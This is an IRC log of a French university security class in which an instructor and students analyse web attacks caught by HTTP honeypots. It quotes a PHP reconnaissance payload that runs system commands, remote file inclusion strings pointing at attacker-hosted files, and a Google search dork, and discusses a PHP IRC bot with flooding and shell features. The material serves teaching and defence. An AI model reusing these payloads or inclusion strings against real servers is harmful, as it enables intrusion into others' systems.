[10:52] == adulaun [~webchat@188.65.217.78] has joined #dess [10:52] de retour... [10:53] == adulaunoy [~webchat@188.65.217.78] has quit [Ping timeout] [10:53] Je voulais montrer un exemple PHP [10:53] oui ? [10:53] (mais l'interface web semble ne pas aimer l'input ;-) [10:53] héhé [10:54] == adulau [~adulau@ka.quuxlabs.com] has joined #dess [10:54] echo "Rama
"; [10:54] $un = @php_uname(); [10:54] $up = system(uptime); [10:54] $id1 = system(id); [10:54] $pwd1 = @getcwd(); [10:54] $sof1 = getenv("SERVER_SOFTWARE"); [10:54] $php1 = phpversion(); [10:54] $name1 = $_SERVER['SERVER_NAME']; [10:54] $ip1 = gethostbyname($SERVER_ADDR); [10:54] $free1= diskfreespace($pwd1); [10:54] $free = ConvertBytes(diskfreespace($pwd1)); [10:54] if (!$free) {$free = 0;} [10:54] $all1= disk_total_space($pwd1); [10:54] $all = ConvertBytes(disk_total_space($pwd1)); [10:55] if (!$all) {$all = 0;} [10:55] $used = ConvertBytes($all1-$free1); [10:55] $os = @PHP_OS; [10:55] via un client IRC cela semble fonctionner (c'est plus lent pour l'interface web) [10:55] echo "Rama was here ..
"; [10:55] echo "uname -a: $un
"; [10:55] echo "os: $os
"; [10:55] echo "uptime: $up
"; [10:55] echo "id: $id1
"; [10:55] echo "pwd: $pwd1
"; [10:55] echo "php: $php1
"; [10:55] echo "software: $sof1
"; [10:55] echo "server-name: $name1
"; [10:55] echo "server-ip: $ip1
"; [10:55] echo "free: $free
"; [10:55] echo "used: $used
"; [10:55] echo "total: $all
"; [10:56] le code PHP n'est pas vraiment super... mais l'attaquant utilise une astuce pour voi si le code [10:56] est interprété par le serveur web.... [10:56] il cherche un match pour la ligne "Rama" [10:57] il a un script qui test 50 ou 60 vulnérabilité web sur des applications PHP [10:57] et tout cela de facon automatique. (il utilise les URLs connu comme phpmyadmin ou autre) [10:59] et il commence sa recherche d'URLs [10:59] en faissant une recherche dans Google ;-) [11:00] Vous pouvez faire le test, dans google : inurl:admin.php [11:01] cela évite à l'attaquant de scanner pour des serveurs HTTPs [11:01] et en plus, cela permet de connaitre les noms des virtulhost [11:02] Qui a un serveur web sur Internet ? [11:02] moi [11:02] Si vous avez acces aux logs, je vous invite à faire ceci : [11:02] juste pour le projet [11:03] j'ai accès aux logs oui [11:03] cut -f7 -d" " votrefichierdelog | grep "http://" | sed 's/.*\(http:.*\).*/\1/' | sed 's/\?//g' | grep -v "votredomain" | sort | uniq [11:04] http://ant.dsabuse.com/abc.phpauth=45V456b09m&strPassword=Y%5BMUHUGY%40%40F&nLoginId=43 [11:04] http://img1.mypets.ws/10023a474.png [11:04] http://www.baidu.com/ [11:04] hum [11:05] == Philippe [~webchat@188.65.217.78] has quit ["Page closed"] [11:05] intéressant... en général vous devez avoir des Referrer [11:05] mais c'est souvent les URL qui sont inclus dans le path de l'URL. [11:06] je regarde le log complet [11:06] donc c'est souvent des inclusions de rootkit ou de fichier de test pour les attaquants. [11:07] 92.240.68.153 - - [01/Mar/2010:18:28:03 +0100] "GET http://img1.mypets.ws/10023a474.png HTTP/1.1" 404 427 "http://random.yahoo.com/fast/ryl" "webcollage/1.135a" [11:07] c'est douteux [11:08] webcollage... [11:08] 91.212.127.100 - - [04/Mar/2010:18:09:21 +0100] "GET http://ant.dsabuse.com/abc.php?auth=45V456b09m&strPassword=Y%5BMUHUGY%40%40F&nLoginId=43 HTTP/1.1" 404 422 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12" [11:08] cela semble être le screensaver de jwz [11:09] celui semble plutot un test open proxy. [11:09] ok [11:09] http://www.otbr.com.br/scan.txt [11:10] celui du jour... [11:10] euh... qu'est ce que c'est ? [11:10] cela vient [11:11] d'un honeypot HTTP [11:11] urlhoneypot/phptruc.php?inc=http://www.otbr.com.br/scan.txt [11:11] En fait l'attaquant essayer de trouver une application qui peut inclure [11:11] du PHP et l'executer. [11:12] ahh d'accord [11:12] "//?_SERVER[DOCUMENT_ROOT]=http://krucialsys.com/images/home.gif???" [11:12] est ce qu'on est protéger de ce genre d'exploit avec suoshin? [11:12] si c'est des injection php ? [11:14] http://www.wtsmith.co.uk/media/id.txt??? [11:14] il utilise même des outils communs. [11:15] Oui il existe des techniques.. [11:15] par exemple allow_url_* [11:16] mais cela ne fonctionne qui pour les URL parsé... [11:16] pour vos propres fonctionnes... il toujours validiter l'input. [11:16] * andre AFK [11:17] un peu faire une pause de 5 minutes... [11:17] et on recommence à 11:23 [11:17] ça marche [11:18] ok [11:19] == Thomas [~webchat@188.65.217.78] has quit [Ping timeout] [11:25] Back [11:25] Pour la question de Thomas. [11:25] == hicham [~webchat@188.65.217.78] has joined #dess [11:25] suhosin.executor.include.blacklist permet d'eviter l'inclusion d'URL par défaut. [11:25] mais uniquement si : [11:26] "If no blacklist and no whitelist is specified all URL schemes are forbidden. " [11:27] mais il me semble Thomas n'est plus connecté. [11:27] il arrive [11:27] ;-) [11:29] Par contre, les URLs sont des bonnes source pour classifier des addresses IP "suspicieuses". [11:29] surtou ceux qui désirent faire des "include" php. [11:29] s/surtou/surtout/ [11:31] == fred [~webchat@188.65.217.78] has quit ["Page closed"] [11:31] Une autre idée avec ces URLs (c'est de voir si les fichiers sont les mêmes et surtout les types d'attaques. [11:31] prefix=./data/ [11:31] cat url-vul1 | while read line [11:31] do md5=`curl -f $line | md5sum | cut -f1 -d ' '` curl -f $line>${prefix}/${md5} [11:32] done [11:32] En executant sur le script sur un petit honeypot HTTP... je viens de tomber sur ce script php : [11:33] http://www.foo.be/cours/dess-20092010/b/0dd84b058d7e73aa49dec1ca31fc3a18 [11:34] intéressant [11:34] == thomas [~webchat@188.65.217.78] has joined #dess [11:34] Re [11:34] Dsl ma session à coupé avec ma mise en veille [11:34] rm -rf :D [11:35] a la première lecture, c'est un bot IRC en PHP avec une interface pour executer des commandes et aure. [11:36] on voit bien que l'attaquand veut download un autre interface pour le shell [11:36] zut l'URL n'est plus dispo. [11:36] (ça manque de commentaires de code... :-) ) [11:37] il y a un volontaire ... pour une connexion IRC sur irc.sekip.net [11:37] depuis la fac, irc ne passe pas [11:37] enfin pas sans bricolages [11:39] Ce qui est intéressant c'est que c'est un bot IRC traditionnel mais en PHP. [11:39] les attaquant utilisent toujours/souvent la plateforme la plus commune. [11:40] maintenant cela montre qu'un serveur DMZ sans connectivité Internet est encore une bonne chose [11:40] et évite le "reverse shell" via le bot IRC. [11:40] "Attackers communicate (2)" dans les slides. [11:41] ça me rappelle un peu les bots xdcc sur irc [11:41] andre : en effet, c'est assez proche. [11:43] Il semble aussi qu'un des auteurs parle Espagnole... [11:43] $this->privmsg($this->config['chan2'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s "); [11:44] ou c'est pour nous tromper... [11:44] cf. slide "attackers are sexy" [11:44] c'est peut-etre un bout de code qu'il a utilisé d'autre part en copier/coller [11:45] c'est possible [11:45] c'est une question de gout [11:45] http://paste.lisp.org/display/93776/raw (il semble avoir plein de versions diffŕentes [11:46] La base semble commune. [11:46] là, c'est clairement espagnol [11:47] c'est pour faire des DDNS ? [11:47] DDoS souvent c'est le cas des bots qui flood en TCP ou UDP. [11:48] creat3d by dikZ v1.9b ... [11:48] Je voulais dire avec la partie "Espagnole" c'est toujours une perception et que l'on n'est sur de rien. [11:49] senha est portugais en fait d'après google [11:49] c'est sûr [11:49] donc c'est possible que cela soit aussi le Brésil. [11:50] exact [11:50] Sehna c'est brézilien je penses [11:50] Peut être des Luxembourgeois [11:50] thomas : trop impressionnant :X [11:51] si je fais un whois sur les ranges qui arrivent sur le honeypot... c'est assez distribué et c'est souvent des machines déjà compromises. [11:51] florent: c'est aussi possible. [11:53] Dans la conclusion des slides, je voulais aussi préciser que les attaquants s'informent entre eux. [11:54] et donc il est bon pour les acteurs de la sécurité informatique de rester informer le plus rapidement possible [11:54] ou d'infiltrer leur réseau ! [11:54] un bon lecteur de RSS peut vous aider pour éviter de se noyer sous la tonne d'information : [11:54] http://monkey.org/~jose/infosec_opml/infosec_1_0.opml [11:55] jp: par exemple, trouver un bot IRC avec des paramètres et faire un autre bot pour collecter ce qui se passe dans le channel... va déjà un peu dans ce sens ;-) [11:56] sinon vous connaissez un bon programme compatible linux pour faire des conferences videos sécurisées ? [11:56] ok [11:57] merci beaucoup pour ces liens :) [11:57] Il y a OpenMeetings : http://code.google.com/p/openmeetings/ [11:58] mais je n'ai jamais évalué sa sécurité. [11:58] == hicham [~webchat@188.65.217.78] has left #dess [] [11:58] ok merci, je testerais [11:59] andre: si vous faites une évaluation sécurité, n'hésitez pas à la partager. merci. [11:59] == thomas [~webchat@188.65.217.78] has left #dess [] [12:01] adulaun: par curiosité, vous utilisez quel lecteur de flux ? [12:01] Je vais conclure aujourd'hui les slides, sur le fait que le cycle d'apprentissage est continu et que tous les jours on découvre [12:01] des nouvelles attaques ou techniques et donc on doit faire de nouvelles mesures ou réévaluer sa sécurité. [12:03] raphael : comme lecteur de flux, j'utilise http://tt-rss.org/ (en Web) et ligne de commande une mixture de scripts (http://www.foo.be/cgi-bin/wiki.pl/RssAny) [12:03] Maintenant je crois que l'on peut cloturer sur les projets... [12:04] adulaun: merci, je vais tester ça [12:05] la date pour le rendre est toujour maintenue fin avril ? [12:05] Oui le 29 Avril 2010. [12:05] ok [12:05] Mais j'attends tjs la confirmation de Madame Herrmann. [12:06] Si vous la voyez, vous pouvez demander... [12:06] on va faire ça lundi [12:06] J'avais juste quelques commentaires en regardant ce qui avait déjà été fait : [12:07] - n'oubliez pas que le logging/journaux est vraiment une partie clé d'un honeypot. (il faut mieux logger trop que pas assez ;-) [12:08] - n'oubliez pas non plus l'utilisation de la mémoire (et surtout son abus possible par des attaquants) [12:09] existe-t-il un site qui classe les commandes les plus utilisés par les hackers qui arrivent sur un honeypot ? [12:09] - pour les analyses numériques (ou autres), il y a pas mal de modules existants dans PyBrain (http://pybrain.org/) c'est surtout pour l'équipe "Fingerprinting an attack and use statistics" [12:10] andre : pas à ma connaissance mais j'ai bon dataset avec cela. [12:10] adulaun : ce serait juste pour savoir quelles commandes a mettre en priorité sur l'honeypot [12:12] http://www.foo.be/cours/dess-20092010/cap/others/data/ [12:13] Je viens de mettre une db sqlite qui contient l'interface "serial" d'un honeypot. [12:13] http://www.foo.be/cours/dess-20092010/cap/others/data/spty.tsv [12:13] spty.tsv est un dump de la base sqlite. [12:14] 10001 2 pts0 2 virgin@jubrowska:~$ 2009-01-14 16:28:52 10002 2 pts0 2 w 2009-01-14 16:29:02 10003 2 pts0 2 2009-01-14 16:29:03 [12:14] 10001 2 pts0 2 virgin@jubrowska:~$ 2009-01-14 16:28:52 [12:14] 10002 2 pts0 2 w 2009-01-14 16:29:02 [12:14] 10003 2 pts0 2 2009-01-14 16:29:03 [12:15] L'input est caractère par caractère (une autre technique pour savoir si c'est une machine ou pas) [12:15] mais il y a input des attaquants (ici on peut voir un "w") [12:16] Je peux aussi vous donner un vecteur de process avec toutes les commandes. [12:16] andre: je ne sais pas cela vous aide. mais c'est un bon point de départ. [12:17] Si vous avez des autres questions pour vos projets, c'est le moment... [12:18] adulaun: ok merci, on va essayer de voir si on peut extraire des données pour notre projet [12:18] (mais je reste accessible par e-mail si vous rencontrez des soucis ou vous faites des découvertes intéressantes...) [12:18] il n'y a pas de questions semble t'il [12:19] mais le sprojets vont vraiment se mettre en route la semaine prochaine [12:20] * andre thinks that raphael is very hungry [12:20] Si il n'y a pas de questions, on peut clôturer le cours. Je vous remercie encore pour votre participation... c'est très apprécié. [12:20] ok merci [12:20] merci à vous, le cours était vraiment très intéressant [12:20] Merci [12:20] de même... [12:21] Bon weekend et n'hésitez pas à me contacter si vous aviez la moindre question sur les projets. [12:21] ça marche [12:21] Bonne fin de journée [12:21] Bon week end... [12:22] bon weekend [12:22] Bon courage pour vos exams et votre stage. [12:22] merci [12:22] * andre says goodbye to everybody [12:22] == andre [~webchat@188.65.217.78] has quit ["Page closed"] [12:23] ok bye